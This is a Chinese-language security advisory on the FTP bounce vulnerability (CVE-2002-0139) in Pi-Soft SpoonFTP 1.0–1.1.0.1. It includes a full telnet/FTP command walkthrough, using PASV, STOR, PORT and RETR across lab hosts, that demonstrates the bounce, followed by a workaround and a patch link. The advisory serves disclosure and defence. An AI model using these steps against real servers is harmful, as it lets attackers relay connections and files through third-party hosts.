发布日期：2002-01-20
更新日期：2002-01-24

受影响系统：

Pi-Soft SpoonFTP 1.0
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows NT 4.0 SP4
    - Microsoft Windows NT 4.0 SP3
    - Microsoft Windows NT 4.0 SP2
    - Microsoft Windows NT 4.0 SP1
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000
Pi-Soft SpoonFTP 1.00.12
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows NT 4.0 SP4
    - Microsoft Windows NT 4.0 SP3
    - Microsoft Windows NT 4.0 SP2
    - Microsoft Windows NT 4.0 SP1
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000
Pi-Soft SpoonFTP 1.00.13
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows NT 4.0 SP4
    - Microsoft Windows NT 4.0 SP3
    - Microsoft Windows NT 4.0 SP2
    - Microsoft Windows NT 4.0 SP1
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000
Pi-Soft SpoonFTP 1.1
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows NT 4.0 SP4
    - Microsoft Windows NT 4.0 SP3
    - Microsoft Windows NT 4.0 SP2
    - Microsoft Windows NT 4.0 SP1
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000
Pi-Soft SpoonFTP 1.1.0.1
    - Microsoft Windows NT 4.0 SP6a
    - Microsoft Windows NT 4.0 SP6
    - Microsoft Windows NT 4.0 SP5
    - Microsoft Windows NT 4.0 SP4
    - Microsoft Windows NT 4.0 SP3
    - Microsoft Windows NT 4.0 SP2
    - Microsoft Windows NT 4.0 SP1
    - Microsoft Windows NT 4.0
    - Microsoft Windows NT
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 Server SP2
    - Microsoft Windows 2000 Server SP1
    - Microsoft Windows 2000

不受影响系统：

Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP6a
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP6
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP5
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP4
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP3
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP2
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0 SP1
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT 4.0
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows NT
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows ME
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows 98
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows 95
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows 2000 Server SP2
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows 2000 Server SP1
Pi-Soft SpoonFTP 1.2
    - Microsoft Windows 2000

描述：

---

BUGTRAQ  ID: 3910
CVE(CAN) ID: CVE-2002-0139

SpoonFTP 是种运行于Microsoft Windows 9x/ME/NT/2000系统上的共享软件，用于提
供FTP服务。访问 http://www.pi-soft.com/index.shtml 了解更多细节。

由于设计上的错误，攻击者可以先登录到SpoonFTP Server上，然后利用PORT命令指
使SpoonFTP Server连接其它远程主机的任意端口，包括1024以下的特权端口，从而
将SpoonFTP Server作为进行其它攻击的跳板（也称为FTP bounce攻击）。


<*来源：Arne Vidstrom （arne.vidstrom@ntsecurity.nu）
  
  链接：http://archives.neohapsis.com/archives/bugtraq/2002-01/0236.html
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

NSFocus Security Team 提供如下测试办法，对 FTP bounce 攻击做一感性介绍

在192.168.5.201(x86/FreeBSD 4.3-RELEASE)上做如下操作

telnet 192.168.5.201 21
user scz   <-- 用户名
pass ***   <-- 口令
cwd src    <-- 切换到一个相应用户可写目录(可上载目录/home/scz/src)
type i     <-- 切换传输模式
pasv       <-- server进入被动模式，等待来自client的tcp连接
227 Entering Passive Mode (192,168,5,201,193,2)
stor out   <-- 指定将来保存数据时使用的文件名

此时这边产生阻塞，不要动这个窗口。

假设存在192.168.5.209(SPARC/Solaris 7)以及/export/home/scz/src/in文件

在192.168.5.203(x86/Linux)上做如下操作

telnet 192.168.5.209 21
user scz   <-- 用户名
pass ***   <-- 口令
cwd src    <-- 切换到/export/home/scz/src
type i     <-- 切换传输模式到二进制模式
port 192,168,5,201,193,2
retr in
quit

在192.168.5.201(x86/FreeBSD 4.3-RELEASE)上做如下操作

quit

此时在192.168.5.201上存在/home/scz/src/out文件，来自192.168.5.209上的/expo-
rt/home/scz/src/in文件。数据在192.168.5.201与192.168.5.209之间流动，但控制
由192.168.5.203发起，这就是 FTP bounce 攻击的直观解释。

从测试过程可以看出 SPARC/Solaris 7 缺省携带的FTP Server也易遭受 FTP bounce
攻击，不过它对port命令做了一定限制，不允许指定小于1024的特权端口。

受影响的Pi-Soft SpoonFTP版本未对port命令做限制，不但可以指定非client ip，
还可以指定小于1024的特权端口。

建议：

---

临时解决方法：

如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：

* 禁止不可信用户访问spoonftp服务器。

厂商补丁：

Pi-Soft
-------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.pi-soft.com/spoonftp/sftp.exe

浏览次数：3628
严重程度：0（网友投票）